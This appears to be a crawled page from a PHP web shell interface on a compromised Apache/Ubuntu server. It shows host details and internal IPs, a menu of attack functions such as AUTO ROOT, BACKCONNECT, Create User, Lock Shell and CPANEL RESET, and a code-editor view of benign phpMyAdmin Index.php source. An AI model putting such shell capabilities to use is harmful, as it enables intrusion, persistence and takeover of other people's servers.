Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
phpmyadmin /
libraries /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Exceptions
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Providers
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Twig
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
Advisor.php
12.22
KB
-rw-r--r--
Bookmark.php
10.69
KB
-rw-r--r--
BrowseForeigners.php
10.82
KB
-rw-r--r--
Charsets.php
7.1
KB
-rw-r--r--
CheckUserPrivileges.php
11.94
KB
-rw-r--r--
Config.php
45.37
KB
-rw-r--r--
Console.php
3.38
KB
-rw-r--r--
Core.php
42.33
KB
-rw-r--r--
CreateAddField.php
17.57
KB
-rw-r--r--
DatabaseInterface.php
75
KB
-rw-r--r--
DbTableExists.php
3.21
KB
-rw-r--r--
Encoding.php
8.51
KB
-rw-r--r--
Error.php
13.97
KB
-rw-r--r--
ErrorHandler.php
17.15
KB
-rw-r--r--
ErrorReport.php
9.14
KB
-rw-r--r--
Export.php
46.24
KB
-rw-r--r--
File.php
21.28
KB
-rw-r--r--
FileListing.php
2.85
KB
-rw-r--r--
Font.php
5.58
KB
-rw-r--r--
Footer.php
10.54
KB
-rw-r--r--
Git.php
17.95
KB
-rw-r--r--
Header.php
21.45
KB
-rw-r--r--
Import.php
57.46
KB
-rw-r--r--
Index.php
15.07
KB
-rw-r--r--
IndexColumn.php
4.23
KB
-rw-r--r--
InsertEdit.php
130.18
KB
-rw-r--r--
InternalRelations.php
17.31
KB
-rw-r--r--
IpAllowDeny.php
9.76
KB
-rw-r--r--
Language.php
4.46
KB
-rw-r--r--
LanguageManager.php
23.96
KB
-rw-r--r--
Linter.php
5.25
KB
-rw-r--r--
ListAbstract.php
1.77
KB
-rw-r--r--
ListDatabase.php
4.3
KB
-rw-r--r--
Logging.php
2.72
KB
-rw-r--r--
Menu.php
21.3
KB
-rw-r--r--
Message.php
19.09
KB
-rw-r--r--
Mime.php
916
B
-rw-r--r--
Normalization.php
41.48
KB
-rw-r--r--
OpenDocument.php
8.42
KB
-rw-r--r--
Operations.php
37.84
KB
-rw-r--r--
OutputBuffering.php
3.98
KB
-rw-r--r--
ParseAnalyze.php
2.37
KB
-rw-r--r--
Partition.php
7.17
KB
-rw-r--r--
Pdf.php
4.34
KB
-rw-r--r--
Plugins.php
25.18
KB
-rw-r--r--
Profiling.php
2.26
KB
-rw-r--r--
RecentFavoriteTable.php
12.01
KB
-rw-r--r--
Relation.php
77.39
KB
-rw-r--r--
RelationCleanup.php
14.7
KB
-rw-r--r--
Replication.php
4.73
KB
-rw-r--r--
ReplicationGui.php
21.52
KB
-rw-r--r--
ReplicationInfo.php
4.83
KB
-rw-r--r--
Response.php
16.47
KB
-rw-r--r--
Routing.php
5.71
KB
-rw-r--r--
Sanitize.php
12.13
KB
-rw-r--r--
SavedSearches.php
11.93
KB
-rw-r--r--
Scripts.php
3.64
KB
-rw-r--r--
Session.php
8.01
KB
-rw-r--r--
Sql.php
66.67
KB
-rw-r--r--
SqlQueryForm.php
7.12
KB
-rw-r--r--
StorageEngine.php
12.53
KB
-rw-r--r--
SubPartition.php
3.32
KB
-rw-r--r--
SystemDatabase.php
3.66
KB
-rw-r--r--
Table.php
95.67
KB
-rw-r--r--
TablePartitionDefinition.php
6.51
KB
-rw-r--r--
Template.php
3.87
KB
-rw-r--r--
Theme.php
8.76
KB
-rw-r--r--
ThemeManager.php
9.58
KB
-rw-r--r--
Tracker.php
29.78
KB
-rw-r--r--
Tracking.php
37.25
KB
-rw-r--r--
Transformations.php
16.29
KB
-rw-r--r--
TwoFactor.php
6.8
KB
-rw-r--r--
Types.php
25.2
KB
-rw-r--r--
Url.php
8.76
KB
-rw-r--r--
UserPassword.php
7.11
KB
-rw-r--r--
UserPreferences.php
8.45
KB
-rw-r--r--
Util.php
102.31
KB
-rw-r--r--
Version.php
533
B
-rw-r--r--
VersionInformation.php
7.15
KB
-rw-r--r--
ZipExtension.php
10.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Index.php
<?php declare(strict_types=1); namespace PhpMyAdmin; use function array_pop; use function count; use function htmlspecialchars; use function strlen; /** * Index manipulation class */ class Index { public const PRIMARY = 1; public const UNIQUE = 2; public const INDEX = 4; public const SPATIAL = 8; public const FULLTEXT = 16; /** * Class-wide storage container for indexes (caching, singleton) * * @var array */ private static $registry = []; /** @var string The name of the schema */ private $schema = ''; /** @var string The name of the table */ private $table = ''; /** @var string The name of the index */ private $name = ''; /** * Columns in index * * @var array */ private $columns = []; /** * The index method used (BTREE, HASH, RTREE). * * @var string */ private $type = ''; /** * The index choice (PRIMARY, UNIQUE, INDEX, SPATIAL, FULLTEXT) * * @var string */ private $choice = ''; /** * Various remarks. * * @var string */ private $remarks = ''; /** * Any comment provided for the index with a COMMENT attribute when the * index was created. * * @var string */ private $comment = ''; /** @var int 0 if the index cannot contain duplicates, 1 if it can. */ private $nonUnique = 0; /** * Indicates how the key is packed. NULL if it is not. * * @var string */ private $packed = null; /** * Block size for the index * * @var int */ private $keyBlockSize = null; /** * Parser option for the index * * @var string */ private $parser = null; /** * @param array $params parameters */ public function __construct(array $params = []) { $this->set($params); } /** * Creates(if not already created) and returns the corresponding Index object * * @param string $schema database name * @param string $table table name * @param string $index_name index name * * @return Index corresponding Index object */ public static function singleton($schema, $table, $index_name = '') { self::loadIndexes($table, $schema); if (! isset(self::$registry[$schema][$table][$index_name])) { $index = new Index(); if (strlen($index_name) > 0) { $index->setName($index_name); self::$registry[$schema][$table][$index->getName()] = $index; } return $index; } return self::$registry[$schema][$table][$index_name]; } /** * returns an array with all indexes from the given table * * @param string $table table * @param string $schema schema * * @return Index[] array of indexes */ public static function getFromTable($table, $schema) { self::loadIndexes($table, $schema); if (isset(self::$registry[$schema][$table])) { return self::$registry[$schema][$table]; } return []; } /** * Returns an array with all indexes from the given table of the requested types * * @param string $table table * @param string $schema schema * @param int $choices choices * * @return Index[] array of indexes */ public static function getFromTableByChoice($table, $schema, $choices = 31) { $indexes = []; foreach (self::getFromTable($table, $schema) as $index) { if (($choices & self::PRIMARY) && $index->getChoice() === 'PRIMARY' ) { $indexes[] = $index; } if (($choices & self::UNIQUE) && $index->getChoice() === 'UNIQUE' ) { $indexes[] = $index; } if (($choices & self::INDEX) && $index->getChoice() === 'INDEX' ) { $indexes[] = $index; } if (($choices & self::SPATIAL) && $index->getChoice() === 'SPATIAL' ) { $indexes[] = $index; } if ((! ($choices & self::FULLTEXT)) || $index->getChoice() !== 'FULLTEXT' ) { continue; } $indexes[] = $index; } return $indexes; } /** * return primary if set, false otherwise * * @param string $table table * @param string $schema schema * * @return Index|false primary index or false if no one exists */ public static function getPrimary($table, $schema) { self::loadIndexes($table, $schema); if (isset(self::$registry[$schema][$table]['PRIMARY'])) { return self::$registry[$schema][$table]['PRIMARY']; } return false; } /** * Load index data for table * * @param string $table table * @param string $schema schema * * @return bool whether loading was successful */ private static function loadIndexes($table, $schema) { global $dbi; if (isset(self::$registry[$schema][$table])) { return true; } $_raw_indexes = $dbi->getTableIndexes($schema, $table); foreach ($_raw_indexes as $_each_index) { $_each_index['Schema'] = $schema; $keyName = $_each_index['Key_name']; if (! isset(self::$registry[$schema][$table][$keyName])) { $key = new Index($_each_index); self::$registry[$schema][$table][$keyName] = $key; } else { $key = self::$registry[$schema][$table][$keyName]; } $key->addColumn($_each_index); } return true; } /** * Add column to index * * @param array $params column params * * @return void */ public function addColumn(array $params) { if (! isset($params['Column_name']) || strlen($params['Column_name']) <= 0 ) { return; } $this->columns[$params['Column_name']] = new IndexColumn($params); } /** * Adds a list of columns to the index * * @param array $columns array containing details about the columns * * @return void */ public function addColumns(array $columns) { $_columns = []; if (isset($columns['names'])) { // coming from form // $columns[names][] // $columns[sub_parts][] foreach ($columns['names'] as $key => $name) { $sub_part = $columns['sub_parts'][$key] ?? ''; $_columns[] = [ 'Column_name' => $name, 'Sub_part' => $sub_part, ]; } } else { // coming from SHOW INDEXES // $columns[][name] // $columns[][sub_part] // ... $_columns = $columns; } foreach ($_columns as $column) { $this->addColumn($column); } } /** * Returns true if $column indexed in this index * * @param string $column the column * * @return bool true if $column indexed in this index */ public function hasColumn($column) { return isset($this->columns[$column]); } /** * Sets index details * * @param array $params index details * * @return void */ public function set(array $params) { if (isset($params['columns'])) { $this->addColumns($params['columns']); } if (isset($params['Schema'])) { $this->schema = $params['Schema']; } if (isset($params['Table'])) { $this->table = $params['Table']; } if (isset($params['Key_name'])) { $this->name = $params['Key_name']; } if (isset($params['Index_type'])) { $this->type = $params['Index_type']; } if (isset($params['Comment'])) { $this->remarks = $params['Comment']; } if (isset($params['Index_comment'])) { $this->comment = $params['Index_comment']; } if (isset($params['Non_unique'])) { $this->nonUnique = $params['Non_unique']; } if (isset($params['Packed'])) { $this->packed = $params['Packed']; } if (isset($params['Index_choice'])) { $this->choice = $params['Index_choice']; } elseif ($this->name === 'PRIMARY') { $this->choice = 'PRIMARY'; } elseif ($this->type === 'FULLTEXT') { $this->choice = 'FULLTEXT'; $this->type = ''; } elseif ($this->type === 'SPATIAL') { $this->choice = 'SPATIAL'; $this->type = ''; } elseif ($this->nonUnique == '0') { $this->choice = 'UNIQUE'; } else { $this->choice = 'INDEX'; } if (isset($params['Key_block_size'])) { $this->keyBlockSize = $params['Key_block_size']; } if (! isset($params['Parser'])) { return; } $this->parser = $params['Parser']; } /** * Returns the number of columns of the index * * @return int the number of the columns */ public function getColumnCount() { return count($this->columns); } /** * Returns the index comment * * @return string index comment */ public function getComment() { return $this->comment; } /** * Returns index remarks * * @return string index remarks */ public function getRemarks() { return $this->remarks; } /** * Return the key block size * * @return int */ public function getKeyBlockSize() { return $this->keyBlockSize; } /** * Return the parser * * @return string */ public function getParser() { return $this->parser; } /** * Returns concatenated remarks and comment * * @return string concatenated remarks and comment */ public function getComments() { $comments = $this->getRemarks(); if (strlen($comments) > 0) { $comments .= "\n"; } $comments .= $this->getComment(); return $comments; } /** * Returns index type (BTREE, HASH, RTREE) * * @return string index type */ public function getType() { return $this->type; } /** * Returns index choice (PRIMARY, UNIQUE, INDEX, SPATIAL, FULLTEXT) * * @return string index choice */ public function getChoice() { return $this->choice; } /** * Returns a lit of all index types * * @return string[] index types */ public static function getIndexTypes() { return [ 'BTREE', 'HASH', ]; } public function hasPrimary(): bool { return (bool) self::getPrimary($this->table, $this->schema); } /** * Returns how the index is packed * * @return string how the index is packed */ public function getPacked() { return $this->packed; } /** * Returns 'No' if the index is not packed, * how the index is packed if packed * * @return string */ public function isPacked() { if ($this->packed === null) { return __('No'); } return htmlspecialchars($this->packed); } /** * Returns integer 0 if the index cannot contain duplicates, 1 if it can * * @return int 0 if the index cannot contain duplicates, 1 if it can */ public function getNonUnique() { return $this->nonUnique; } /** * Returns whether the index is a 'Unique' index * * @param bool $as_text whether to output should be in text * * @return mixed whether the index is a 'Unique' index */ public function isUnique($as_text = false) { if ($as_text) { $r = [ '0' => __('Yes'), '1' => __('No'), ]; } else { $r = [ '0' => true, '1' => false, ]; } return $r[$this->nonUnique]; } /** * Returns the name of the index * * @return string the name of the index */ public function getName() { return $this->name; } /** * Sets the name of the index * * @param string $name index name * * @return void */ public function setName($name) { $this->name = (string) $name; } /** * Returns the columns of the index * * @return IndexColumn[] the columns of the index */ public function getColumns() { return $this->columns; } /** * Gets the properties in an array for comparison purposes * * @return array an array containing the properties of the index */ public function getCompareData() { $data = [ 'Packed' => $this->packed, 'Index_choice' => $this->choice, ]; foreach ($this->columns as $column) { $data['columns'][] = $column->getCompareData(); } return $data; } /** * Function to check over array of indexes and look for common problems * * @param string $table table name * @param string $schema schema name * * @return string Output HTML * * @access public */ public static function findDuplicates($table, $schema) { $indexes = self::getFromTable($table, $schema); $output = ''; // count($indexes) < 2: // there is no need to check if there less than two indexes if (count($indexes) < 2) { return $output; } // remove last index from stack and ... while ($while_index = array_pop($indexes)) { // ... compare with every remaining index in stack foreach ($indexes as $each_index) { if ($each_index->getCompareData() !== $while_index->getCompareData() ) { continue; } // did not find any difference // so it makes no sense to have this two equal indexes $message = Message::notice( __( 'The indexes %1$s and %2$s seem to be equal and one of them ' . 'could possibly be removed.' ) ); $message->addParam($each_index->getName()); $message->addParam($while_index->getName()); $output .= $message->getDisplay(); // there is no need to check any further indexes if we have already // found that this one has a duplicate continue 2; } } return $output; } }
Close
